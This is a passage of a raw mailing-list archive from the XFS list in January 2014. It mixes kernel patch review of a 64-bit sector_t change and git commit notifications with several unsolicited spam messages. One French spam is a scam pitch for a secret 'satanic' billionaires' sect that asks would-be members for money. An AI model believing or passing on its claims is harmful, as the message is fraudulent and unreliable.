powered by M@ilCentral --b1_66b01764fc33fa4ddab34cf7b9624edd-- From noreply@ita-engine.net Thu Jan 9 03:41:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_IMAGE_ONLY_32, HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C233E7F3F for ; Thu, 9 Jan 2014 03:41:05 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id A699C8F8033 for ; Thu, 9 Jan 2014 01:41:02 -0800 (PST) X-ASG-Debug-ID: 1389260453-04cbb04168cbd0f0001-w1Z2WR Received: from server5.ita-engine.net (server5.ita-engine.net [95.170.88.92]) by cuda.sgi.com with ESMTP id vO48S7ezKK9FezlX (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 09 Jan 2014 01:40:54 -0800 (PST) X-Barracuda-Envelope-From: noreply@ita-engine.net X-Barracuda-Apparent-Source-IP: 95.170.88.92 Received: from 30seconds.ita-engine.net (server6.ita-engine.net [204.188.195.192]) by server5.ita-engine.net (Postfix) with ESMTP id 54D915D6A58 for ; Thu, 9 Jan 2014 10:34:29 +0100 (CET) Date: Thu, 9 Jan 2014 09:06:16 +0100 To: linux-xfs@oss.sgi.com From: "video@30seconds.it" Reply-To: "video@30seconds.it" Subject: =?UTF-8?Q?fatti_conoscere_dal_tuo_pubblico_=E2=80=A6_scopri_come?= Message-ID: <61fb91970344bf5a3cbf2993f3ea5686@localhost.localdomain> X-ASG-Orig-Subj: =?UTF-8?Q?fatti_conoscere_dal_tuo_pubblico_=E2=80=A6_scopri_come?= X-Priority: 5 X-Mailer: Apple Mail (2.1283) X-MC-version: 4 X-MessageID: 11 X-ListMember: linux-xfs@oss.sgi.com Precedence: bulk Bounces-To: noreply@ita-engine.net MIME-Version: 1.0 (Apple Message framework v1283) Content-Type: multipart/alternative; boundary="b1_61fb91970344bf5a3cbf2993f3ea5686" X-Barracuda-Connect: server5.ita-engine.net[95.170.88.92] X-Barracuda-Start-Time: 1389260454 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_IMAGE_ONLY_32, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143899 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_IMAGE_ONLY_32 BODY: HTML: images with 2800-3200 bytes of words 0.00 HTML_MESSAGE BODY: HTML included in message --b1_61fb91970344bf5a3cbf2993f3ea5686 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Se ha difficolt=C3=A0 a visualizzare questa e-mail clicchi qui . Informativa ai sensi del Decr.Lgs Privacy n.196/2003: I dati in nostro possesso vengono impiegati con principali scopi amministrativi, fiscali e di comunicazione aziendale comunque nei termini previsti dalla normativa vigente. In ogni momento l'interessato potr=C3=A0 avvalersi dei diritti e nelle modalit=C3=A0 previste della Legge. Il titolare del trattamento =C3=A8 Thirty Seconds Milano. Indirizzo e-mail: info@30seconds.it Questo messaggio di posta elettronica contiene informazioni di carattere confidenziale rivolte esclusivamente al destinatario sopra indicato. =C3=88 vietato l'uso, la diffusione, distribuzione o riproduzione da parte di ogni altra persona. Confidential Notice: This e-mail transmission may contain legally privileged and/or confidential information. Please do not read it if you are not the intended recipient(S). Any use, distribution, reproduction or disclosure by any other person is strictly prohibited. If you have received this e-mail in error, please notify the sender and destroy the original transmission and its attachments without reading or saving it in any manner. Questo messaggio =C3=A8 stato inviato a linux-xfs@oss.sgi.com da=0Avideo@30= seconds.it Se volete rimuovervi selezionate qui. =20 --b1_61fb91970344bf5a3cbf2993f3ea5686 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable =09

Se ha difficoltà a visualizzare que= sta e-mail clicchi= qui.

3D""

Informat= iva ai sensi del Decr.Lgs Privacy n.196/2003: I dati in nostro possesso ven= gono impiegati con principali scopi amministrativi, fiscali e di comunicazi= one aziendale comunque nei termini previsti dalla normativa vigente. In ogn= i momento l'interessato potrà avvalersi dei diritti e nelle moda= lità previste della Legge. Il titolare del trattamento è Thir= ty Seconds Milano. Indirizzo e-mail: info@30seconds.it Questo messaggio di = posta elettronica contiene informazioni di carattere confidenziale rivolte = esclusivamente al destinatario sopra indicato. È vietato l'uso, = la diffusione, distribuzione o riproduzione da parte di ogni altra persona.= Confidential Notice: This e-mail transmission may contain legally privileg= ed and/or confidential information. Please do not read it if you are not th= e intended recipient(S). Any use, distribution, reproduction or disclosure = by any other person is strictly prohibited. If you have received this e-mai= l in error, please notify the sender and destroy the original transmission = and its attachments without reading or saving it in any manner.

Questo messaggio è stato inviato a linux-xfs@oss.sgi.com da video= @30seconds.it

Se volete rimuovervi selezionate qui.

 

=0A
powered by M@ilCentral --b1_61fb91970344bf5a3cbf2993f3ea5686-- From lafratellanzabillionbillion@gmail.com Thu Jan 9 05:43:03 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.5 required=5.0 tests=FREEMAIL_FROM,SUBJ_ALL_CAPS, T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 006347F3F for ; Thu, 9 Jan 2014 05:43:03 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id CA3F18F8033 for ; Thu, 9 Jan 2014 03:42:53 -0800 (PST) X-ASG-Debug-ID: 1389267771-04cb6c537ecbd3d0001-w1Z2WR Received: from mail-ie0-f193.google.com (mail-ie0-f193.google.com [209.85.223.193]) by cuda.sgi.com with ESMTP id 9xMe7DckjkB8JE4u (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 09 Jan 2014 03:42:53 -0800 (PST) X-Barracuda-Envelope-From: lafratellanzabillionbillion@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.223.193 Received: by mail-ie0-f193.google.com with SMTP id lx4so1222624iec.4 for ; Thu, 09 Jan 2014 03:42:51 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=nwifiRJnJ+c5LEeosGMyg8ARR7BkTPSXguoiFBGgDjI=; b=BEajfNKjGmIdbOk3wqPIXzZjRvCGca0UdLFlahkkYq1bZWoAe+h42zrBhsXd+z9b8p xIc7UA+b8pmecaJ4J0XE9YpHzM+naOnlbH6G/Q9n2asq697M5GTrdDYPUo0x21bfaFZQ rvWzYbfzoy3RG0fOs5k4Y2NamDWtYO2m6owyG2t6Zj9o+3n0sSHUeiU/QiI6LXFpaRcs GqUjR7GE4zUNOsQAUDgH/T8htB+lUDSL/oXLeKTK01+rp8LmDCPKBJ42yi51aL/uulCW fxq0P3EmWtl62+ty2Hk+nF0dr2uDsmqSDLOWAWWT7C/BstGx1XYGdGit6xaNOW4+1OVN vGrg== X-Barracuda-BBL-IP: nil MIME-Version: 1.0 X-Received: by 10.50.50.236 with SMTP id f12mr37030416igo.8.1389267771708; Thu, 09 Jan 2014 03:42:51 -0800 (PST) Received: by 10.64.233.232 with HTTP; Thu, 9 Jan 2014 03:42:51 -0800 (PST) Date: Thu, 9 Jan 2014 12:42:51 +0100 Message-ID: Subject: LA FRATERNITE BILLION BILLION""" CLUB DES MILLIADAIRES""" From: lafratellanza billionbillion X-ASG-Orig-Subj: LA FRATERNITE BILLION BILLION""" CLUB DES MILLIADAIRES""" To: undisclosed-recipients:; Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: mail-ie0-f193.google.com[209.85.223.193] X-Barracuda-Start-Time: 1389267773 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.64 X-Barracuda-Spam-Status: No, SCORE=1.64 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, SUBJ_ALL_CAPS, SUBJ_ALL_CAPS_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143902 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.01 SUBJ_ALL_CAPS Subject is all capitals 1.62 SUBJ_ALL_CAPS_2 SUBJ_ALL_CAPS_2 QUE LA VOLONT=C9 SOIS FAITE '''''''BILLION BILLION'''''' est un secte regroup=E9 de milliardaires cr=E9e par de grands sorciers d=92Afrique de la FRANC MA=C7ONNERIE en association avec des millionnaires europ=E9ens et am=E9ricain qui sont devenu aujourd'hui des milliardaires venu de diff=E9rents continents et pays : AFRIQUE du SUD , NIGERIA, INDE, B=C9NIN, GHANA,FRANCE, ITALIE, BELGIQUE , ESPAGNE ,AM=C9RIQUE du NORD , LIBAN, GHANA,CAMEROUN , GABON LIBYE etc.... Nous avons le m=EAme credo et somme acolyte =E0 la FRANC MA=C7ONNERIE mais notre secte reste secr=E8te. Notre fraternit=E9 assure la long=E9vit=E9 et= la sant=E9 des membres du club ainsi que celle de leur famille et rend deux des milliardaires au monde entier. Chaque ann=E9e 400 humains int=E8gre notre secte . Actuellement la fraternit=E9 recherche 180 millionnaire =E0 rejoindre le club. Beaucoup de nobles, de riches, de banquiers et de grand stars du Show business sont d=E9j=E0 membres de notre sectes sataniques , occultes. La majorit=E9 de nos informations reste secr=E8te, seul les membres y ont a= cc=E8s. NB: nous ne for=E7ons personne =E0 devenir membre Avant de nous =E9cris afin d'entrer dans le secte ''''BILLION BILLION''''',il faut avoir l'audace, le courage et une petite fortune. avant de poursuivre les proc=E9dures d'entrer dans le club. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''BIL= LION BILLION''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''= '''''''''''''''''' From bpm@sgi.com Thu Jan 9 09:27:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8F0677F3F for ; Thu, 9 Jan 2014 09:27:20 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1F5A0AC004 for ; Thu, 9 Jan 2014 07:27:14 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 5780A4266DC; Thu, 9 Jan 2014 09:19:03 -0600 (CST) Date: Thu, 9 Jan 2014 09:19:03 -0600 From: Ben Myers To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: require 64-bit sector_t Message-ID: <20140109151903.GF1935@sgi.com> References: <20131114164603.GA13628@infradead.org> <20131216221559.GO1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131216221559.GO1935@sgi.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Mon, Dec 16, 2013 at 04:15:59PM -0600, Ben Myers wrote: > Hey Christoph, > > On Thu, Nov 14, 2013 at 08:46:03AM -0800, Christoph Hellwig wrote: > > Trying to support tiny disks only and saving a bit memory might have > > made sense on an SGI O2 15 years ago, but is pretty pointless today. > > > > Remove the rarely tested codepath that uses various smaller in-memory > > types to reduce our test matrix and make the codebase a little bit > > smaller and less complicated. > > > > > > Signed-off-by: Christoph Hellwig > > This looks ok to me. I'm not seeing much downside to removing the smaller > in-memory types. > > Reviewed-by: Ben Myers Anyone else have an opinion on this one? I think its 3.14 material and I'd like to pull it in. Thanks, Ben From t-bounce-e7a86836-794f-11e3-8080-808080808080-xfs=oss.sgi.com@nl.business-romania.net Thu Jan 9 11:03:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.2 required=5.0 tests=DEAR_SOMETHING, HTML_IMAGE_ONLY_32,HTML_MESSAGE,T_DKIM_INVALID,T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 70C557F3F for ; Thu, 9 Jan 2014 11:03:21 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 35B6030407B for ; Thu, 9 Jan 2014 09:03:18 -0800 (PST) X-ASG-Debug-ID: 1389286992-04bdf00fdf5cc920001-NocioJ Received: from send1.nl.business-romania.net (send1.nl.business-romania.net [50.115.174.103]) by cuda.sgi.com with ESMTP id W0kdQUBC8uzYOqDy for ; Thu, 09 Jan 2014 09:03:12 -0800 (PST) X-Barracuda-Envelope-From: t-bounce-e7a86836-794f-11e3-8080-808080808080-xfs=oss.sgi.com@nl.business-romania.net X-Barracuda-Apparent-Source-IP: 50.115.174.103 Received: from business-romania (sarin.newsmanapp.com [144.76.203.142]) by send1.nl.business-romania.net (Postfix) with ESMTP id 536CD175745 for ; Thu, 9 Jan 2014 17:06:40 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=nl.business-romania.net; s=default; t=1389287201; bh=bnk4yPrWwfxSFWVsINITmfJnO++OIibOV9wxZt1yF5U=; h=Subject:List-Unsubscribe:From:Reply-To:To:Date:From; b=lmWBC6eVTgwU8NqDQyxrkHlKi8Xd/sAkF0gDREB8PvCX1KcDo9WojN+qtY7wFwWIh e7drmWNYIxzeDEEEjCHNHoAJgegmasTqDNwNTyXq71RXWi2byiuvXvdIgoRGreTRfs s1wIvci8TUr9pbdRgtWFOJzs+kNdY58qu0N/1ilg= Subject: Offices & Showroom Building for sale in IASI, Romania X-Priority: 3 X-ASG-Orig-Subj: Offices & Showroom Building for sale in IASI, Romania Content-Type: multipart/alternative; boundary="===============3068714143350026881==" MIME-Version: 1.0 Message-Id: <20140109170304.84981.e7a86836-794f-11e3-8080-808080808080.crbrmail@nl.business-romania.net> List-Unsubscribe: From: office@business-romania.net Reply-To: office@business-romania.net To: xfs@oss.sgi.com Date: Thu, 09 Jan 2014 17:03:04 -0000 X-Barracuda-Connect: send1.nl.business-romania.net[50.115.174.103] X-Barracuda-Start-Time: 1389286992 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.40 X-Barracuda-Spam-Status: No, SCORE=0.40 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085b, DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_ONLY_32, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143909 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_IMAGE_ONLY_32 BODY: HTML: images with 2800-3200 bytes of words 0.00 HTML_MESSAGE BODY: HTML included in message 0.40 BSF_SC0_SA085b Custom Rule SA085b --===============3068714143350026881== Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable [1]: http://www.business-romania.net/ # Offices & Showroom Building for sale in IASI, Romania Dear Sirs, We have on sale an Offices & Showroom Building, a former auto service, in the center of IASI city, the 4th biggest city in Romania, with a population of more than 300000 inhabitans. The assets consist of: 1/ BUILDING built in 2007 - 2 levels: 818 sqm ground floor + 641 sqm first floor - heights: 4 m ground floor + 3 m first floor - construction of reinforced concrete, brick exterior walls, thermo-plated,= exterior curtain wall joinery, fitted with double glazing secure layer (li= nk) and reflective exterior shutters, double pedestrian door automatic 3-do= or electric freight access, simple wicket, Terrace circulating Granuflex co= ated, 4 skylights wide area - equipped with automatic smoke vents, 3 stairc= ases, 1 elevator, 5 bathrooms, air conditioning GEA, with fan, heating gas = boiler Buderus, installations for card access at the administrative area; 2/ LAND: - 1068 sqm - owner property - 34 sqm - possession undocumented - 122 sqm - concesioned from the City Hall - 20 parking places IASI city is the capital of IASI county, the biggest county in Romania, with a population of 772000 inhabitans. Price: On Request Looking forward to your answer. Best Regards, Catalin Rusu Rusu E Catalin PFA Sos Nicolina nr 40, 700687 - IASI ROMANIA VAT 30548758 F22/2172/14.08.2012 Mobile: +40 735 886 201 Fax: +40 372 877 165 office@business-romania.net www.business-romania.net This is an informing email and it shouldn\' t be spam. If you don\' t want to receive emails from business-romania.net send a reply to this email with the message DELETE --===============3068714143350026881== Content-Type: text/html; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable

Offices &a= mp; Showroom Building for sale in IASI, Romania


Dear Sirs,



We have on sale an Offices & Showroom Building, a former auto service, = in the center of IASI city, the 4th biggest city in Romania, with a popula= tion of more than 300000 inhabitans.

The assets consist of:

1/ BUILDING built in 2007
- 2 levels: 818 sqm ground floor + 641 sqm first floor
- heights: 4 m ground floor + 3 m first floor
- construction of reinforced concrete, brick exterior walls, thermo-plated,= exterior curtain wall joinery, fitted with double glazing secure layer (li= nk) and reflective exterior shutters, double pedestrian door automatic 3-do= or electric freight access, simple wicket, Terrace circulating Granuflex co= ated, 4 skylights wide area - equipped with automatic smoke vents, 3 stairc= ases, 1 elevator, 5 bathrooms, air conditioning GEA, with fan, heating gas = boiler Buderus, installations for card access at the administrative area;
2/ LAND:
- 1068 sqm - owner property
- 34 sqm - possession undocumented
- 122 sqm - concesioned from the City Hall
- 20 parking places


IASI city is the capital of IASI county, the biggest county in Romania, wit= h a population of 772000 inhabitans.

Price: On Request

Looking forward to your answer.




Best Regards,
Catalin Rusu


Rusu E Catalin PFA
Sos Nicolina nr 40, 700687 - IASI
ROMANIA
VAT 30548758
F22/2172/14.08.2012

Mobile: +40 735 886 201
Fax: +40 372 877 165
office@business-romania.net
www.business-romania.net



This is an informing email and it shouldn\' t be spam. If you don\' t want = to receive emails from business-romania.net send a reply to this email with= the message DELETE


=C2=A0
--===============3068714143350026881==-- From mlsemon35@gmail.com Thu Jan 9 12:48:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 929C929DF8 for ; Thu, 9 Jan 2014 12:48:48 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 884018F8037 for ; Thu, 9 Jan 2014 10:48:45 -0800 (PST) X-ASG-Debug-ID: 1389293320-04cb6c537cccf800001-NocioJ Received: from mail-qe0-f47.google.com (mail-qe0-f47.google.com [209.85.128.47]) by cuda.sgi.com with ESMTP id et9uMFoAAR0AGyMK (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 09 Jan 2014 10:48:41 -0800 (PST) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.128.47 X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.47] Received: by mail-qe0-f47.google.com with SMTP id 5so3449270qeb.34 for ; Thu, 09 Jan 2014 10:48:40 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.47] X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.47] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=dojwT1KtoHmdoIfshUK0me4Fh1EYzAHKwGkOOL87Rlk=; b=TEnrvH3uLleQ651QktHg3W9WlGrFDf5ejRiPm+plAWAHzOhr3yJ1R728fhg6h9psMc GNaQtELgjm+XgVPFQLpsMEQOOWzHMWG5DY1apkNKusynYi5rQUS2XSVTH9ex2MuvKOVM IOUKWZhmKUfZm5SF5LCqZCh/bZFOVkyIejRazJlhgwNvoKoo4ojLAknlSzq5fqRSYU0N WdyLn/T3IwjHnBP5Q7ichzkmoU2KZlVDCJnfIDCRXMFJ7P0Xiu/pfJEKoZFNAXfBRZ04 lX2l5F/Rw3HYNcc4IxcxTSrAx8CNQJkBRpwJcIRsrzfMEsG8WifNP3pu/2IbFTvZwyqe nn4A== X-Received: by 10.49.98.35 with SMTP id ef3mr10844274qeb.30.1389293320696; Thu, 09 Jan 2014 10:48:40 -0800 (PST) Received: from [192.168.0.129] (rrcs-97-79-21-178.se.biz.rr.com. [97.79.21.178]) by mx.google.com with ESMTPSA id ki4sm8365940qeb.0.2014.01.09.10.48.39 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Thu, 09 Jan 2014 10:48:40 -0800 (PST) Message-ID: <52CEEF03.7080407@gmail.com> Date: Thu, 09 Jan 2014 13:48:35 -0500 From: "Michael L. Semon" User-Agent: Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Ben Myers , Christoph Hellwig CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: require 64-bit sector_t References: <20131114164603.GA13628@infradead.org> <20131216221559.GO1935@sgi.com> <20140109151903.GF1935@sgi.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: require 64-bit sector_t In-Reply-To: <20140109151903.GF1935@sgi.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-qe0-f47.google.com[209.85.128.47] X-Barracuda-Start-Time: 1389293321 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143913 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 01/09/2014 10:19 AM, Ben Myers wrote: > On Mon, Dec 16, 2013 at 04:15:59PM -0600, Ben Myers wrote: >> Hey Christoph, >> >> On Thu, Nov 14, 2013 at 08:46:03AM -0800, Christoph Hellwig wrote: >>> Trying to support tiny disks only and saving a bit memory might have >>> made sense on an SGI O2 15 years ago, but is pretty pointless today. >>> >>> Remove the rarely tested codepath that uses various smaller in-memory >>> types to reduce our test matrix and make the codebase a little bit >>> smaller and less complicated. >>> >>> >>> Signed-off-by: Christoph Hellwig >> >> This looks ok to me. I'm not seeing much downside to removing the smaller >> in-memory types. >> >> Reviewed-by: Ben Myers > > Anyone else have an opinion on this one? I think its 3.14 material and I'd > like to pull it in. > > Thanks, > Ben Either way is fine with me. I use CONFIG_LBDAF=n, but it isn't a make-or-break kernel config option. Most issues I've seen in testing were solved by Jeff Liu's patches. This part of the test matrix seemed okay, but if Christoph wants to get rid of it, that's fine. The XFS support matrix is rather brutal... Thanks! Michael From bpm@oss.sgi.com Thu Jan 9 15:53:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id C800D29DF8; Thu, 9 Jan 2014 15:53:23 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, xfs-misc, updated. v3.12-11687-g6f96b30 X-Git-Refname: refs/heads/xfs-misc X-Git-Reftype: branch X-Git-Oldrev: 85dd0707f0cad26d60f2dc574d17a5ab948d10f7 X-Git-Newrev: 6f96b3063cdd473c68664a190524ed966ac0cd92 Message-Id: <20140109215323.C800D29DF8@oss.sgi.com> Date: Thu, 9 Jan 2014 15:53:22 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, xfs-misc has been updated 6f96b30 xfs: Calling destroy_work_on_stack() to pair with INIT_WORK_ONSTACK() from 85dd0707f0cad26d60f2dc574d17a5ab948d10f7 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 6f96b3063cdd473c68664a190524ed966ac0cd92 Author: Chuansheng Liu Date: Tue Jan 7 16:53:34 2014 +0800 xfs: Calling destroy_work_on_stack() to pair with INIT_WORK_ONSTACK() In case CONFIG_DEBUG_OBJECTS_WORK is defined, it is needed to call destroy_work_on_stack() which frees the debug object to pair with INIT_WORK_ONSTACK(). Signed-off-by: Liu, Chuansheng Reviewed-by: Ben Myers Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_bmap_util.c | 1 + 1 file changed, 1 insertion(+) hooks/post-receive -- XFS development tree From bpm@oss.sgi.com Thu Jan 9 16:10:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 241EF29DF8; Thu, 9 Jan 2014 16:10:21 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. xfs-for-linus-v3.13-rc5-55-gbf3964c X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: 324bb26144e9be037227ff75fae1042d048a15b4 X-Git-Newrev: bf3964c188d686424ff7b69a45941851b9f437f0 Message-Id: <20140109221021.241EF29DF8@oss.sgi.com> Date: Thu, 9 Jan 2014 16:10:20 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated bf3964c Merge branch 'xfs-extent-list-locking-fixes' into for-next dc16b18 Merge branch 'xfs-misc' into for-next 6f96b30 xfs: Calling destroy_work_on_stack() to pair with INIT_WORK_ONSTACK() 85dd070 xfs: fix off-by-one error in xfs_attr3_rmt_verify eef334e xfs: assert that we hold the ilock for extent map access 568d994 xfs: use xfs_ilock_attr_map_shared in xfs_attr_list_int 683cb94 xfs: use xfs_ilock_attr_map_shared in xfs_attr_get da51d32 xfs: use xfs_ilock_data_map_shared in xfs_qm_dqiterate f4df8ad xfs: use xfs_ilock_data_map_shared in xfs_qm_dqtobp 4f31736 xfs: take the ilock around xfs_bmapi_read in xfs_zero_remaining_bytes 40194ec xfs: reinstate the ilock in xfs_readdir efa70be xfs: add xfs_ilock_attr_map_shared 309ecac xfs: rename xfs_ilock_map_shared 01f4f32 xfs: remove xfs_iunlock_map_shared 30ba7ad xfs: no need to lock the inode in xfs_find_handle from 324bb26144e9be037227ff75fae1042d048a15b4 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit bf3964c188d686424ff7b69a45941851b9f437f0 Merge: dc16b18 eef334e Author: Ben Myers Date: Thu Jan 9 16:03:18 2014 -0600 Merge branch 'xfs-extent-list-locking-fixes' into for-next A set of fixes which makes sure we are taking the ilock whenever accessing the extent list. This was associated with "Access to block zero" messages which may result in extent list corruption. commit dc16b186bb12c479b6a88bc280b34806a69199ad Merge: 324bb26 6f96b30 Author: Ben Myers Date: Thu Jan 9 15:58:59 2014 -0600 Merge branch 'xfs-misc' into for-next A bugfix for an off-by-one in the remote 